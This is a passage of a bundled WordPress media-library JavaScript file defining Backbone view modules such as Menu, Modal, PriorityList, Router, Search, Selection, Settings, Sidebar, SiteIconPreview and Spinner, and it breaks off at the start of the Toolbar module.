8032 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
8033 */
8034 MediaFrame.prototype[ method ] = function() {
8035 if ( this.modal ) {
8036 this.modal[ method ].apply( this.modal, arguments );
8037 }
8038 return this;
8039 };
8040});
8041
8042module.exports = MediaFrame;
8043
8044
8045/***/ },
8046
8047/***/ 9013
8048(module) {
8049
8050var MenuItem;
8051
8052/**
8053 * wp.media.view.MenuItem
8054 *
8055 * @memberOf wp.media.view
8056 *
8057 * @class
8058 * @augments wp.media.View
8059 * @augments wp.Backbone.View
8060 * @augments Backbone.View
8061 */
8062MenuItem = wp.media.View.extend(/** @lends wp.media.view.MenuItem.prototype */{
8063 tagName: 'button',
8064 className: 'media-menu-item',
8065
8066 attributes: {
8067 type: 'button',
8068 role: 'tab'
8069 },
8070
8071 events: {
8072 'click': '_click'
8073 },
8074
8075 /**
8076 * Allows to override the click event.
8077 */
8078 _click: function() {
8079 var clickOverride = this.options.click;
8080
8081 if ( clickOverride ) {
8082 clickOverride.call( this );
8083 } else {
8084 this.click();
8085 }
8086 },
8087
8088 click: function() {
8089 var state = this.options.state;
8090
8091 if ( state ) {
8092 this.controller.setState( state );
8093 // Toggle the menu visibility in the responsive view.
8094 this.views.parent.$el.removeClass( 'visible' ); // @todo Or hide on any click, see below.
8095 }
8096 },
8097
8098 /**
8099 * @return {wp.media.view.MenuItem} returns itself to allow chaining.
8100 */
8101 render: function() {
8102 var options = this.options,
8103 menuProperty = options.state || options.contentMode;
8104
8105 if ( options.text ) {
8106 this.$el.text( options.text );
8107 } else if ( options.html ) {
8108 this.$el.html( options.html );
8109 }
8110
8111 // Set the menu item ID based on the frame state associated to the menu item.
8112 this.$el.attr( 'id', 'menu-item-' + menuProperty );
8113
8114 return this;
8115 }
8116});
8117
8118module.exports = MenuItem;
8119
8120
8121/***/ },
8122
8123/***/ 1
8124(module) {
8125
8126var MenuItem = wp.media.view.MenuItem,
8127 PriorityList = wp.media.view.PriorityList,
8128 Menu;
8129
8130/**
8131 * wp.media.view.Menu
8132 *
8133 * @memberOf wp.media.view
8134 *
8135 * @class
8136 * @augments wp.media.view.PriorityList
8137 * @augments wp.media.View
8138 * @augments wp.Backbone.View
8139 * @augments Backbone.View
8140 */
8141Menu = PriorityList.extend(/** @lends wp.media.view.Menu.prototype */{
8142 tagName: 'div',
8143 className: 'media-menu',
8144 property: 'state',
8145 ItemView: MenuItem,
8146 region: 'menu',
8147
8148 attributes: {
8149 role: 'tablist',
8150 'aria-orientation': 'horizontal'
8151 },
8152
8153 initialize: function() {
8154 this._views = {};
8155
8156 this.set( _.extend( {}, this._views, this.options.views ), { silent: true });
8157 delete this.options.views;
8158
8159 if ( ! this.options.silent ) {
8160 this.render();
8161 }
8162
8163 // Initialize the Focus Manager.
8164 this.focusManager = new wp.media.view.FocusManager( {
8165 el: this.el,
8166 mode: 'tabsNavigation'
8167 } );
8168
8169 // The menu is always rendered and can be visible or hidden on some frames.
8170 this.isVisible = true;
8171 },
8172
8173 /**
8174 * @param {Object} options
8175 * @param {string} id
8176 * @return {wp.media.View}
8177 */
8178 toView: function( options, id ) {
8179 options = options || {};
8180 options[ this.property ] = options[ this.property ] || id;
8181 return new this.ItemView( options ).render();
8182 },
8183
8184 ready: function() {
8185 /**
8186 * call 'ready' directly on the parent class
8187 */
8188 PriorityList.prototype.ready.apply( this, arguments );
8189 this.visibility();
8190
8191 // Set up aria tabs initial attributes.
8192 this.focusManager.setupAriaTabs();
8193 },
8194
8195 set: function() {
8196 /**
8197 * call 'set' directly on the parent class
8198 */
8199 PriorityList.prototype.set.apply( this, arguments );
8200 this.visibility();
8201 },
8202
8203 unset: function() {
8204 /**
8205 * call 'unset' directly on the parent class
8206 */
8207 PriorityList.prototype.unset.apply( this, arguments );
8208 this.visibility();
8209 },
8210
8211 visibility: function() {
8212 var region = this.region,
8213 view = this.controller[ region ].get(),
8214 views = this.views.get(),
8215 hide = ! views || views.length < 2;
8216
8217 if ( this === view ) {
8218 // Flag this menu as hidden or visible.
8219 this.isVisible = ! hide;
8220 // Set or remove a CSS class to hide the menu.
8221 this.controller.$el.toggleClass( 'hide-' + region, hide );
8222 }
8223 },
8224 /**
8225 * @param {string} id
8226 */
8227 select: function( id ) {
8228 var view = this.get( id );
8229
8230 if ( ! view ) {
8231 return;
8232 }
8233
8234 this.deselect();
8235 view.$el.addClass('active');
8236
8237 // Set up again the aria tabs initial attributes after the menu updates.
8238 this.focusManager.setupAriaTabs();
8239 },
8240
8241 deselect: function() {
8242 this.$el.children().removeClass('active');
8243 },
8244
8245 hide: function( id ) {
8246 var view = this.get( id );
8247
8248 if ( ! view ) {
8249 return;
8250 }
8251
8252 view.$el.addClass('hidden');
8253 },
8254
8255 show: function( id ) {
8256 var view = this.get( id );
8257
8258 if ( ! view ) {
8259 return;
8260 }
8261
8262 view.$el.removeClass('hidden');
8263 }
8264});
8265
8266module.exports = Menu;
8267
8268
8269/***/ },
8270
8271/***/ 2621
8272(module) {
8273
8274var $ = jQuery,
8275 Modal;
8276
8277/**
8278 * wp.media.view.Modal
8279 *
8280 * A modal view, which the media modal uses as its default container.
8281 *
8282 * @memberOf wp.media.view
8283 *
8284 * @class
8285 * @augments wp.media.View
8286 * @augments wp.Backbone.View
8287 * @augments Backbone.View
8288 */
8289Modal = wp.media.View.extend(/** @lends wp.media.view.Modal.prototype */{
8290 tagName: 'div',
8291 template: wp.template('media-modal'),
8292
8293 events: {
8294 'click .media-modal-backdrop, .media-modal-close': 'escapeHandler',
8295 'keydown': 'keydown'
8296 },
8297
8298 clickedOpenerEl: null,
8299
8300 initialize: function() {
8301 _.defaults( this.options, {
8302 container: document.body,
8303 title: '',
8304 propagate: true,
8305 hasCloseButton: true
8306 });
8307
8308 this.focusManager = new wp.media.view.FocusManager({
8309 el: this.el
8310 });
8311 },
8312 /**
8313 * @return {Object}
8314 */
8315 prepare: function() {
8316 return {
8317 title: this.options.title,
8318 hasCloseButton: this.options.hasCloseButton
8319 };
8320 },
8321
8322 /**
8323 * @return {wp.media.view.Modal} Returns itself to allow chaining.
8324 */
8325 attach: function() {
8326 if ( this.views.attached ) {
8327 return this;
8328 }
8329
8330 if ( ! this.views.rendered ) {
8331 this.render();
8332 }
8333
8334 this.$el.appendTo( this.options.container );
8335
8336 // Manually mark the view as attached and trigger ready.
8337 this.views.attached = true;
8338 this.views.ready();
8339
8340 return this.propagate('attach');
8341 },
8342
8343 /**
8344 * @return {wp.media.view.Modal} Returns itself to allow chaining.
8345 */
8346 detach: function() {
8347 if ( this.$el.is(':visible') ) {
8348 this.close();
8349 }
8350
8351 this.$el.detach();
8352 this.views.attached = false;
8353 return this.propagate('detach');
8354 },
8355
8356 /**
8357 * @return {wp.media.view.Modal} Returns itself to allow chaining.
8358 */
8359 open: function() {
8360 var $el = this.$el,
8361 mceEditor;
8362
8363 if ( $el.is(':visible') ) {
8364 return this;
8365 }
8366
8367 this.clickedOpenerEl = document.activeElement;
8368
8369 if ( ! this.views.attached ) {
8370 this.attach();
8371 }
8372
8373 // Disable page scrolling.
8374 $( 'body' ).addClass( 'modal-open' );
8375
8376 $el.show();
8377
8378 // Try to close the onscreen keyboard.
8379 if ( 'ontouchend' in document ) {
8380 if ( ( mceEditor = window.tinymce && window.tinymce.activeEditor ) && ! mceEditor.isHidden() && mceEditor.iframeElement ) {
8381 mceEditor.iframeElement.focus();
8382 mceEditor.iframeElement.blur();
8383
8384 setTimeout( function() {
8385 mceEditor.iframeElement.blur();
8386 }, 100 );
8387 }
8388 }
8389
8390 // Set initial focus on the content instead of this view element, to avoid page scrolling.
8391 this.$( '.media-modal' ).trigger( 'focus' );
8392
8393 // Hide the page content from assistive technologies.
8394 this.focusManager.setAriaHiddenOnBodyChildren( $el );
8395
8396 return this.propagate('open');
8397 },
8398
8399 /**
8400 * @param {Object} options
8401 * @return {wp.media.view.Modal} Returns itself to allow chaining.
8402 */
8403 close: function( options ) {
8404 if ( ! this.views.attached || ! this.$el.is(':visible') ) {
8405 return this;
8406 }
8407
8408 // Pause current audio/video even after closing the modal.
8409 $( '.mejs-pause button' ).trigger( 'click' );
8410
8411 // Enable page scrolling.
8412 $( 'body' ).removeClass( 'modal-open' );
8413
8414 // Hide the modal element by adding display:none.
8415 this.$el.hide();
8416
8417 /*
8418 * Make visible again to assistive technologies all body children that
8419 * have been made hidden when the modal opened.
8420 */
8421 this.focusManager.removeAriaHiddenFromBodyChildren();
8422
8423 // Move focus back in useful location once modal is closed.
8424 if ( null !== this.clickedOpenerEl ) {
8425 // Move focus back to the element that opened the modal.
8426 this.clickedOpenerEl.focus();
8427 } else {
8428 // Fallback to the admin page main element.
8429 $( '#wpbody-content' )
8430 .attr( 'tabindex', '-1' )
8431 .trigger( 'focus' );
8432 }
8433
8434 this.propagate('close');
8435
8436 if ( options && options.escape ) {
8437 this.propagate('escape');
8438 }
8439
8440 return this;
8441 },
8442 /**
8443 * @return {wp.media.view.Modal} Returns itself to allow chaining.
8444 */
8445 escape: function() {
8446 return this.close({ escape: true });
8447 },
8448 /**
8449 * @param {Object} event
8450 */
8451 escapeHandler: function( event ) {
8452 event.preventDefault();
8453 this.escape();
8454 },
8455
8456 /**
8457 * Handles the selection of attachments when the command or control key is pressed with the enter key.
8458 *
8459 * @since 6.7
8460 *
8461 * @param {Object} event The keydown event object.
8462 */
8463 selectHandler: function( event ) {
8464 var selection = this.controller.state().get( 'selection' );
8465
8466 if ( selection.length <= 0 ) {
8467 return;
8468 }
8469
8470 if ( 'insert' === this.controller.options.state ) {
8471 this.controller.trigger( 'insert', selection );
8472 } else {
8473 this.controller.trigger( 'select', selection );
8474 event.preventDefault();
8475 this.escape();
8476 }
8477 },
8478
8479 /**
8480 * @param {Array|Object} content Views to register to '.media-modal-content'
8481 * @return {wp.media.view.Modal} Returns itself to allow chaining.
8482 */
8483 content: function( content ) {
8484 this.views.set( '.media-modal-content', content );
8485 return this;
8486 },
8487
8488 /**
8489 * Triggers a modal event and if the `propagate` option is set,
8490 * forwards events to the modal's controller.
8491 *
8492 * @param {string} id
8493 * @return {wp.media.view.Modal} Returns itself to allow chaining.
8494 */
8495 propagate: function( id ) {
8496 this.trigger( id );
8497
8498 if ( this.options.propagate ) {
8499 this.controller.trigger( id );
8500 }
8501
8502 return this;
8503 },
8504 /**
8505 * @param {Object} event
8506 */
8507 keydown: function( event ) {
8508 // Close the modal when escape is pressed.
8509 if ( 27 === event.which && this.$el.is(':visible') ) {
8510 this.escape();
8511 event.stopImmediatePropagation();
8512 }
8513
8514 // Select the attachment when command or control and enter are pressed.
8515 if ( ( 13 === event.which || 10 === event.which ) && ( event.metaKey || event.ctrlKey ) ) {
8516 this.selectHandler( event );
8517 event.stopImmediatePropagation();
8518 }
8519
8520 }
8521});
8522
8523module.exports = Modal;
8524
8525
8526/***/ },
8527
8528/***/ 8815
8529(module) {
8530
8531/**
8532 * wp.media.view.PriorityList
8533 *
8534 * @memberOf wp.media.view
8535 *
8536 * @class
8537 * @augments wp.media.View
8538 * @augments wp.Backbone.View
8539 * @augments Backbone.View
8540 */
8541var PriorityList = wp.media.View.extend(/** @lends wp.media.view.PriorityList.prototype */{
8542 tagName: 'div',
8543
8544 initialize: function() {
8545 this._views = {};
8546
8547 this.set( _.extend( {}, this._views, this.options.views ), { silent: true });
8548 delete this.options.views;
8549
8550 if ( ! this.options.silent ) {
8551 this.render();
8552 }
8553 },
8554 /**
8555 * @param {string} id
8556 * @param {wp.media.View|Object} view
8557 * @param {Object} options
8558 * @return {wp.media.view.PriorityList} Returns itself to allow chaining.
8559 */
8560 set: function( id, view, options ) {
8561 var priority, views, index;
8562
8563 options = options || {};
8564
8565 // Accept an object with an `id` : `view` mapping.
8566 if ( _.isObject( id ) ) {
8567 _.each( id, function( view, id ) {
8568 this.set( id, view );
8569 }, this );
8570 return this;
8571 }
8572
8573 if ( ! (view instanceof Backbone.View) ) {
8574 view = this.toView( view, id, options );
8575 }
8576 view.controller = view.controller || this.controller;
8577
8578 this.unset( id );
8579
8580 priority = view.options.priority || 10;
8581 views = this.views.get() || [];
8582
8583 _.find( views, function( existing, i ) {
8584 if ( existing.options.priority > priority ) {
8585 index = i;
8586 return true;
8587 }
8588 });
8589
8590 this._views[ id ] = view;
8591 this.views.add( view, {
8592 at: _.isNumber( index ) ? index : views.length || 0
8593 });
8594
8595 return this;
8596 },
8597 /**
8598 * @param {string} id
8599 * @return {wp.media.View}
8600 */
8601 get: function( id ) {
8602 return this._views[ id ];
8603 },
8604 /**
8605 * @param {string} id
8606 * @return {wp.media.view.PriorityList}
8607 */
8608 unset: function( id ) {
8609 var view = this.get( id );
8610
8611 if ( view ) {
8612 view.remove();
8613 }
8614
8615 delete this._views[ id ];
8616 return this;
8617 },
8618 /**
8619 * @param {Object} options
8620 * @return {wp.media.View}
8621 */
8622 toView: function( options ) {
8623 return new wp.media.View( options );
8624 }
8625});
8626
8627module.exports = PriorityList;
8628
8629
8630/***/ },
8631
8632/***/ 6327
8633(module) {
8634
8635/**
8636 * wp.media.view.RouterItem
8637 *
8638 * @memberOf wp.media.view
8639 *
8640 * @class
8641 * @augments wp.media.view.MenuItem
8642 * @augments wp.media.View
8643 * @augments wp.Backbone.View
8644 * @augments Backbone.View
8645 */
8646var RouterItem = wp.media.view.MenuItem.extend(/** @lends wp.media.view.RouterItem.prototype */{
8647 /**
8648 * On click handler to activate the content region's corresponding mode.
8649 */
8650 click: function() {
8651 var contentMode = this.options.contentMode;
8652 if ( contentMode ) {
8653 this.controller.content.mode( contentMode );
8654 }
8655 }
8656});
8657
8658module.exports = RouterItem;
8659
8660
8661/***/ },
8662
8663/***/ 4783
8664(module) {
8665
8666var Menu = wp.media.view.Menu,
8667 Router;
8668
8669/**
8670 * wp.media.view.Router
8671 *
8672 * @memberOf wp.media.view
8673 *
8674 * @class
8675 * @augments wp.media.view.Menu
8676 * @augments wp.media.view.PriorityList
8677 * @augments wp.media.View
8678 * @augments wp.Backbone.View
8679 * @augments Backbone.View
8680 */
8681Router = Menu.extend(/** @lends wp.media.view.Router.prototype */{
8682 tagName: 'div',
8683 className: 'media-router',
8684 property: 'contentMode',
8685 ItemView: wp.media.view.RouterItem,
8686 region: 'router',
8687
8688 attributes: {
8689 role: 'tablist',
8690 'aria-orientation': 'horizontal'
8691 },
8692
8693 initialize: function() {
8694 this.controller.on( 'content:render', this.update, this );
8695 // Call 'initialize' directly on the parent class.
8696 Menu.prototype.initialize.apply( this, arguments );
8697 },
8698
8699 update: function() {
8700 var mode = this.controller.content.mode();
8701 if ( mode ) {
8702 this.select( mode );
8703 }
8704 }
8705});
8706
8707module.exports = Router;
8708
8709
8710/***/ },
8711
8712/***/ 2102
8713(module) {
8714
8715var Search;
8716
8717/**
8718 * wp.media.view.Search
8719 *
8720 * @memberOf wp.media.view
8721 *
8722 * @class
8723 * @augments wp.media.View
8724 * @augments wp.Backbone.View
8725 * @augments Backbone.View
8726 */
8727Search = wp.media.View.extend(/** @lends wp.media.view.Search.prototype */{
8728 tagName: 'input',
8729 className: 'search',
8730 id: 'media-search-input',
8731
8732 attributes: {
8733 type: 'search'
8734 },
8735
8736 events: {
8737 'input': 'search'
8738 },
8739
8740 /**
8741 * @return {wp.media.view.Search} Returns itself to allow chaining.
8742 */
8743 render: function() {
8744 this.el.value = this.model.escape('search');
8745 return this;
8746 },
8747
8748 search: _.debounce( function( event ) {
8749 var searchTerm = event.target.value.trim();
8750
8751 // Trigger the search only after 2 ASCII characters.
8752 if ( searchTerm && searchTerm.length > 1 ) {
8753 this.model.set( 'search', searchTerm );
8754 } else {
8755 this.model.unset( 'search' );
8756 }
8757 }, 500 )
8758});
8759
8760module.exports = Search;
8761
8762
8763/***/ },
8764
8765/***/ 8282
8766(module) {
8767
8768var _n = wp.i18n._n,
8769 sprintf = wp.i18n.sprintf,
8770 Selection;
8771
8772/**
8773 * wp.media.view.Selection
8774 *
8775 * @memberOf wp.media.view
8776 *
8777 * @class
8778 * @augments wp.media.View
8779 * @augments wp.Backbone.View
8780 * @augments Backbone.View
8781 */
8782Selection = wp.media.View.extend(/** @lends wp.media.view.Selection.prototype */{
8783 tagName: 'div',
8784 className: 'media-selection',
8785 template: wp.template('media-selection'),
8786
8787 events: {
8788 'click .edit-selection': 'edit',
8789 'click .clear-selection': 'clear'
8790 },
8791
8792 initialize: function() {
8793 _.defaults( this.options, {
8794 editable: false,
8795 clearable: true
8796 });
8797
8798 /**
8799 * @member {wp.media.view.Attachments.Selection}
8800 */
8801 this.attachments = new wp.media.view.Attachments.Selection({
8802 controller: this.controller,
8803 collection: this.collection,
8804 selection: this.collection,
8805 model: new Backbone.Model()
8806 });
8807
8808 this.views.set( '.selection-view', this.attachments );
8809 this.collection.on( 'add remove reset', this.refresh, this );
8810 this.controller.on( 'content:activate', this.refresh, this );
8811 },
8812
8813 ready: function() {
8814 this.refresh();
8815 },
8816
8817 refresh: function() {
8818 // If the selection hasn't been rendered, bail.
8819 if ( ! this.$el.children().length ) {
8820 return;
8821 }
8822
8823 var collection = this.collection,
8824 editing = 'edit-selection' === this.controller.content.mode();
8825
8826 // If nothing is selected, display nothing.
8827 this.$el.toggleClass( 'empty', ! collection.length );
8828 this.$el.toggleClass( 'one', 1 === collection.length );
8829 this.$el.toggleClass( 'editing', editing );
8830
8831 this.$( '.count' ).text(
8832 /* translators: %s: Number of selected media attachments. */
8833 sprintf( _n( '%s item selected', '%s items selected', collection.length ), collection.length )
8834 );
8835 },
8836
8837 edit: function( event ) {
8838 event.preventDefault();
8839 if ( this.options.editable ) {
8840 this.options.editable.call( this, this.collection );
8841 }
8842 },
8843
8844 clear: function( event ) {
8845 event.preventDefault();
8846 this.collection.reset();
8847
8848 // Move focus to the modal.
8849 this.controller.modal.focusManager.focus();
8850 }
8851});
8852
8853module.exports = Selection;
8854
8855
8856/***/ },
8857
8858/***/ 1915
8859(module) {
8860
8861var View = wp.media.View,
8862 $ = Backbone.$,
8863 Settings;
8864
8865/**
8866 * wp.media.view.Settings
8867 *
8868 * @memberOf wp.media.view
8869 *
8870 * @class
8871 * @augments wp.media.View
8872 * @augments wp.Backbone.View
8873 * @augments Backbone.View
8874 */
8875Settings = View.extend(/** @lends wp.media.view.Settings.prototype */{
8876 events: {
8877 'click button': 'updateHandler',
8878 'change input': 'updateHandler',
8879 'change select': 'updateHandler',
8880 'change textarea': 'updateHandler'
8881 },
8882
8883 initialize: function() {
8884 this.model = this.model || new Backbone.Model();
8885 this.listenTo( this.model, 'change', this.updateChanges );
8886 },
8887
8888 prepare: function() {
8889 return _.defaults({
8890 model: this.model.toJSON()
8891 }, this.options );
8892 },
8893 /**
8894 * @return {wp.media.view.Settings} Returns itself to allow chaining.
8895 */
8896 render: function() {
8897 View.prototype.render.apply( this, arguments );
8898 // Select the correct values.
8899 _( this.model.attributes ).chain().keys().each( this.update, this );
8900 return this;
8901 },
8902 /**
8903 * @param {string} key
8904 */
8905 update: function( key ) {
8906 var value = this.model.get( key ),
8907 $setting = this.$('[data-setting="' + key + '"]'),
8908 $buttons, $value;
8909
8910 // Bail if we didn't find a matching setting.
8911 if ( ! $setting.length ) {
8912 return;
8913 }
8914
8915 // Attempt to determine how the setting is rendered and update
8916 // the selected value.
8917
8918 // Handle dropdowns.
8919 if ( $setting.is('select') ) {
8920 $value = $setting.find('[value="' + value + '"]');
8921
8922 if ( $value.length ) {
8923 $setting.find('option').prop( 'selected', false );
8924 $value.prop( 'selected', true );
8925 } else {
8926 // If we can't find the desired value, record what *is* selected.
8927 this.model.set( key, $setting.find(':selected').val() );
8928 }
8929
8930 // Handle button groups.
8931 } else if ( $setting.hasClass('button-group') ) {
8932 $buttons = $setting.find( 'button' )
8933 .removeClass( 'active' )
8934 .attr( 'aria-pressed', 'false' );
8935 $buttons.filter( '[value="' + value + '"]' )
8936 .addClass( 'active' )
8937 .attr( 'aria-pressed', 'true' );
8938
8939 // Handle text inputs and textareas.
8940 } else if ( $setting.is('input[type="text"], textarea') ) {
8941 if ( ! $setting.is(':focus') ) {
8942 $setting.val( value );
8943 }
8944 // Handle checkboxes.
8945 } else if ( $setting.is('input[type="checkbox"]') ) {
8946 $setting.prop( 'checked', !! value && 'false' !== value );
8947 }
8948 },
8949 /**
8950 * @param {Object} event
8951 */
8952 updateHandler: function( event ) {
8953 var $setting = $( event.target ).closest('[data-setting]'),
8954 value = event.target.value,
8955 userSetting;
8956
8957 event.preventDefault();
8958
8959 if ( ! $setting.length ) {
8960 return;
8961 }
8962
8963 // Use the correct value for checkboxes.
8964 if ( $setting.is('input[type="checkbox"]') ) {
8965 value = $setting[0].checked;
8966 }
8967
8968 // Update the corresponding setting.
8969 this.model.set( $setting.data('setting'), value );
8970
8971 // If the setting has a corresponding user setting,
8972 // update that as well.
8973 userSetting = $setting.data('userSetting');
8974 if ( userSetting ) {
8975 window.setUserSetting( userSetting, value );
8976 }
8977 },
8978
8979 updateChanges: function( model ) {
8980 if ( model.hasChanged() ) {
8981 _( model.changed ).chain().keys().each( this.update, this );
8982 }
8983 }
8984});
8985
8986module.exports = Settings;
8987
8988
8989/***/ },
8990
8991/***/ 7656
8992(module) {
8993
8994var Settings = wp.media.view.Settings,
8995 AttachmentDisplay;
8996
8997/**
8998 * wp.media.view.Settings.AttachmentDisplay
8999 *
9000 * @memberOf wp.media.view.Settings
9001 *
9002 * @class
9003 * @augments wp.media.view.Settings
9004 * @augments wp.media.View
9005 * @augments wp.Backbone.View
9006 * @augments Backbone.View
9007 */
9008AttachmentDisplay = Settings.extend(/** @lends wp.media.view.Settings.AttachmentDisplay.prototype */{
9009 className: 'attachment-display-settings',
9010 template: wp.template('attachment-display-settings'),
9011
9012 initialize: function() {
9013 var attachment = this.options.attachment;
9014
9015 _.defaults( this.options, {
9016 userSettings: false
9017 });
9018 // Call 'initialize' directly on the parent class.
9019 Settings.prototype.initialize.apply( this, arguments );
9020 this.listenTo( this.model, 'change:link', this.updateLinkTo );
9021
9022 if ( attachment ) {
9023 attachment.on( 'change:uploading', this.render, this );
9024 }
9025 },
9026
9027 dispose: function() {
9028 var attachment = this.options.attachment;
9029 if ( attachment ) {
9030 attachment.off( null, null, this );
9031 }
9032 /**
9033 * call 'dispose' directly on the parent class
9034 */
9035 Settings.prototype.dispose.apply( this, arguments );
9036 },
9037 /**
9038 * @return {wp.media.view.AttachmentDisplay} Returns itself to allow chaining.
9039 */
9040 render: function() {
9041 var attachment = this.options.attachment;
9042 if ( attachment ) {
9043 _.extend( this.options, {
9044 sizes: attachment.get('sizes'),
9045 type: attachment.get('type')
9046 });
9047 }
9048 /**
9049 * call 'render' directly on the parent class
9050 */
9051 Settings.prototype.render.call( this );
9052 this.updateLinkTo();
9053 return this;
9054 },
9055
9056 updateLinkTo: function() {
9057 var linkTo = this.model.get('link'),
9058 $input = this.$('.link-to-custom'),
9059 attachment = this.options.attachment;
9060
9061 if ( 'none' === linkTo || 'embed' === linkTo || ( ! attachment && 'custom' !== linkTo ) ) {
9062 $input.closest( '.setting' ).addClass( 'hidden' );
9063 return;
9064 }
9065
9066 if ( attachment ) {
9067 if ( 'post' === linkTo ) {
9068 $input.val( attachment.get('link') );
9069 } else if ( 'file' === linkTo ) {
9070 $input.val( attachment.get('url') );
9071 } else if ( ! this.model.get('linkUrl') ) {
9072 $input.val('http://');
9073 }
9074
9075 $input.prop( 'readonly', 'custom' !== linkTo );
9076 }
9077
9078 $input.closest( '.setting' ).removeClass( 'hidden' );
9079 if ( $input.length ) {
9080 $input[0].scrollIntoView();
9081 }
9082 }
9083});
9084
9085module.exports = AttachmentDisplay;
9086
9087
9088/***/ },
9089
9090/***/ 7266
9091(module) {
9092
9093/**
9094 * wp.media.view.Settings.Gallery
9095 *
9096 * @memberOf wp.media.view.Settings
9097 *
9098 * @class
9099 * @augments wp.media.view.Settings
9100 * @augments wp.media.View
9101 * @augments wp.Backbone.View
9102 * @augments Backbone.View
9103 */
9104var Gallery = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Gallery.prototype */{
9105 className: 'collection-settings gallery-settings',
9106 template: wp.template('gallery-settings')
9107});
9108
9109module.exports = Gallery;
9110
9111
9112/***/ },
9113
9114/***/ 2356
9115(module) {
9116
9117/**
9118 * wp.media.view.Settings.Playlist
9119 *
9120 * @memberOf wp.media.view.Settings
9121 *
9122 * @class
9123 * @augments wp.media.view.Settings
9124 * @augments wp.media.View
9125 * @augments wp.Backbone.View
9126 * @augments Backbone.View
9127 */
9128var Playlist = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Playlist.prototype */{
9129 className: 'collection-settings playlist-settings',
9130 template: wp.template('playlist-settings')
9131});
9132
9133module.exports = Playlist;
9134
9135
9136/***/ },
9137
9138/***/ 1992
9139(module) {
9140
9141/**
9142 * wp.media.view.Sidebar
9143 *
9144 * @memberOf wp.media.view
9145 *
9146 * @class
9147 * @augments wp.media.view.PriorityList
9148 * @augments wp.media.View
9149 * @augments wp.Backbone.View
9150 * @augments Backbone.View
9151 */
9152var Sidebar = wp.media.view.PriorityList.extend(/** @lends wp.media.view.Sidebar.prototype */{
9153 className: 'media-sidebar'
9154});
9155
9156module.exports = Sidebar;
9157
9158
9159/***/ },
9160
9161/***/ 443
9162(module) {
9163
9164var View = wp.media.view,
9165 SiteIconCropper;
9166
9167/**
9168 * wp.media.view.SiteIconCropper
9169 *
9170 * Uses the imgAreaSelect plugin to allow a user to crop a Site Icon.
9171 *
9172 * Takes imgAreaSelect options from
9173 * wp.customize.SiteIconControl.calculateImageSelectOptions.
9174 *
9175 * @memberOf wp.media.view
9176 *
9177 * @class
9178 * @augments wp.media.view.Cropper
9179 * @augments wp.media.View
9180 * @augments wp.Backbone.View
9181 * @augments Backbone.View
9182 */
9183SiteIconCropper = View.Cropper.extend(/** @lends wp.media.view.SiteIconCropper.prototype */{
9184 className: 'crop-content site-icon',
9185
9186 ready: function () {
9187 View.Cropper.prototype.ready.apply( this, arguments );
9188
9189 this.$( '.crop-image' ).on( 'load', _.bind( this.addSidebar, this ) );
9190 },
9191
9192 addSidebar: function() {
9193 this.sidebar = new wp.media.view.Sidebar({
9194 controller: this.controller
9195 });
9196
9197 this.sidebar.set( 'preview', new wp.media.view.SiteIconPreview({
9198 controller: this.controller,
9199 attachment: this.options.attachment
9200 }) );
9201
9202 this.controller.cropperView.views.add( this.sidebar );
9203 }
9204});
9205
9206module.exports = SiteIconCropper;
9207
9208
9209/***/ },
9210
9211/***/ 7810
9212(module) {
9213
9214var View = wp.media.View,
9215 $ = jQuery,
9216 SiteIconPreview;
9217
9218/**
9219 * wp.media.view.SiteIconPreview
9220 *
9221 * Shows a preview of the Site Icon as a favicon and app icon while cropping.
9222 *
9223 * @memberOf wp.media.view
9224 *
9225 * @class
9226 * @augments wp.media.View
9227 * @augments wp.Backbone.View
9228 * @augments Backbone.View
9229 */
9230SiteIconPreview = View.extend(/** @lends wp.media.view.SiteIconPreview.prototype */{
9231 className: 'site-icon-preview-crop-modal',
9232 template: wp.template( 'site-icon-preview-crop' ),
9233
9234 ready: function() {
9235 this.controller.imgSelect.setOptions({
9236 onInit: this.updatePreview,
9237 onSelectChange: this.updatePreview
9238 });
9239 },
9240
9241 prepare: function() {
9242 return {
9243 url: this.options.attachment.get( 'url' )
9244 };
9245 },
9246
9247 updatePreview: function( img, coords ) {
9248 var rx = 64 / coords.width,
9249 ry = 64 / coords.height,
9250 preview_rx = 24 / coords.width,
9251 preview_ry = 24 / coords.height;
9252
9253 $( '#preview-app-icon' ).css({
9254 width: Math.round(rx * this.imageWidth ) + 'px',
9255 height: Math.round(ry * this.imageHeight ) + 'px',
9256 marginLeft: '-' + Math.round(rx * coords.x1) + 'px',
9257 marginTop: '-' + Math.round(ry * coords.y1) + 'px'
9258 });
9259
9260 $( '#preview-favicon' ).css({
9261 width: Math.round( preview_rx * this.imageWidth ) + 'px',
9262 height: Math.round( preview_ry * this.imageHeight ) + 'px',
9263 marginLeft: '-' + Math.round( preview_rx * coords.x1 ) + 'px',
9264 marginTop: '-' + Math.floor( preview_ry* coords.y1 ) + 'px'
9265 });
9266 }
9267});
9268
9269module.exports = SiteIconPreview;
9270
9271
9272/***/ },
9273
9274/***/ 9141
9275(module) {
9276
9277/**
9278 * wp.media.view.Spinner
9279 *
9280 * Represents a spinner in the Media Library.
9281 *
9282 * @since 3.9.0
9283 *
9284 * @memberOf wp.media.view
9285 *
9286 * @class
9287 * @augments wp.media.View
9288 * @augments wp.Backbone.View
9289 * @augments Backbone.View
9290 */
9291var Spinner = wp.media.View.extend(/** @lends wp.media.view.Spinner.prototype */{
9292 tagName: 'span',
9293 className: 'spinner',
9294 spinnerTimeout: false,
9295 delay: 400,
9296
9297 /**
9298 * Shows the spinner. Delays the visibility by the configured amount.
9299 *
9300 * @since 3.9.0
9301 *
9302 * @return {wp.media.view.Spinner} The spinner.
9303 */
9304 show: function() {
9305 if ( ! this.spinnerTimeout ) {
9306 this.spinnerTimeout = _.delay(function( $el ) {
9307 $el.addClass( 'is-active' );
9308 }, this.delay, this.$el );
9309 }
9310
9311 return this;
9312 },
9313
9314 /**
9315 * Hides the spinner.
9316 *
9317 * @since 3.9.0
9318 *
9319 * @return {wp.media.view.Spinner} The spinner.
9320 */
9321 hide: function() {
9322 this.$el.removeClass( 'is-active' );
9323 this.spinnerTimeout = clearTimeout( this.spinnerTimeout );
9324
9325 return this;
9326 }
9327});
9328
9329module.exports = Spinner;
9330
9331
9332/***/ },
9333
9334/***/ 5275
9335(module) {
9336
9337var View = wp.media.View,
9338 Toolbar;
9339
9340/**
9341 * wp.media.view.Toolbar
9342 *
9343 * A toolbar which consists of a primary and a secondary section. Each sections
9344 * can be filled with views.
9345 *
9346 * @memberOf wp.media.view
